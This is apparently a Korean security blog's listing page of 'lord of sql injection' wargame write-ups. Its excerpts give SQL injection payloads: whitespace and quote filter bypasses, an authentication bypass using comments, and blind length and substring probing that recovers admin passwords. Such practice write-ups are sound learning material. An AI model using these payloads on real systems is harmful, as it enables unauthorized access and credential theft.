일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- base64
- Openstack
- ESXi
- Volatility
- Docker
- Strings
- beebox
- SQL Injection
- 안드로이드
- CTF-d
- lord of sql injection
- diva
- Reflected XSS
- XSS
- ctf
- logstash
- foremost
- kibana
- InsecureBank
- 파이썬
- Suninatas
- 2018
- 인시큐어뱅크
- elasticsearch
- frida
- MFT
- vulnhub
- otter
- igoat
- NTFS
- Today
- Total
목록lord of sql injection (15)
Information Security
%, _(와일드 카드) a% : a로 시작하는 임의의 문자열 %a% : a가 들어가는 임의의 문자열 a_ : a로 시작하는 두 글자의 문자열 ?pw=% 입력 시 Hello guest 문자열이 출력되는 것을 알 수 있다. % 문자를 계속 늘려도 Hello guest만 출력이 되어 _ 7개 입력 시 메시가 출력되지 않았다. _ 8개 입력 시 Hello guest가 출력이 되어 pw 길이가 8이라는 것을 알 수 있다. 0-9, a-z, A-Z까지 전부 해보았만 Hello guest밖에 뜨지 않아 guest와 같이 앞부분이 비밀번호가 같다는 것을 알 고 832% 입력 시 정답이라는 것을 알 수 있다.
공백 우회 %0a, %0b, %0c, %0d, %09, (), /**/, + 빈칸을 우회해야 하기 때문에 %0b, %0c를 이용해 우회하면 풀리는 것을 알 수 있다.
빈칸 공백 우회 '' : (), /**/, %09, %0a, %0c, %0b, + no=1%0a||%0aid%0ain%0a("admin") 입력 시 Hello admin이 출력되는 것을 알 수 있다. no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0ain%0a(8) 입력 시 Hello admin이 출력되는 것을 알 수 있다. no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0ain%0a(6) 입력 시 메시지가 출력되지 않았다. ?pw=735c2773 값이라는 것을 알 수 있다.
'(싱글쿼터) 우회 "(더블쿼터), `, hex, binary, char() 사용 ascii() 우회 ord() 사용 ?no=0 or true 입력 시 Hello guest 메시지가 출력되는 것을 알 수 있다. ?no=1 or id like "admin" 입력 시 Hello admin 메시지가 출력되는 것을 알 수 있다. ?no=1 or length(pw) like 8 입력 시 Hello admin 메시지가 출력되는 것을 알 수 있다. ?no=1 or length(pw) like 9 입력 시 Hello guest가 출력되는 것을 알 수 있다. ?pw=1c62ba6f라는 것을 알 수 있다.
= 우회 like, between 사용 or, and 우회 and -> &&, or -> || 사용 substr right, mid, mid 사용 ?pw='||true%23을 입력 시 쿼리문이 참이 되면서 Hello guest를 출력한다. ?pw='||id like 'admin'%26%26 true%23 입력 시 Hello admin이 출력된다. ?pw'||id like 'admin'%26%26length(pw) like 8%23 입력 시 Hello admin이 출력되는 것으로 보아 패스워드 길이가 8이 참값이라는 것을 알 수 있다. ?pw'||id like 'admin'%26%26length(pw) like 9%23 입력 시 메시지가 출력되지 않아 거짓이라는 것을 알 수 있다. ?pw=88e3137f ..
and 1=0 전에 주석 처리를 통해 참을 만드면 해결되는 것 같다. pw=' or id='admin'# 주석처리를 하여 문제가 풀리는 것을 알 수 있다.
# : %23, ' : %27 , length, substr length(pw)=1#을 입력했는데 반응이 없었다. length(pw)=8#을 입력했는데 Hello admin 문구가 보이는 것을 알 수 있다. ascii(substr(pw,1,1))=50#을 입력했는데 Hello admin 메시지가 보인다. 패스워드 길이가 8자리라는 것을 알 수 있다. 파이썬 자동화를 통해 PW를 알아냈다. pw=295d5844라는 것을 알 수 있다.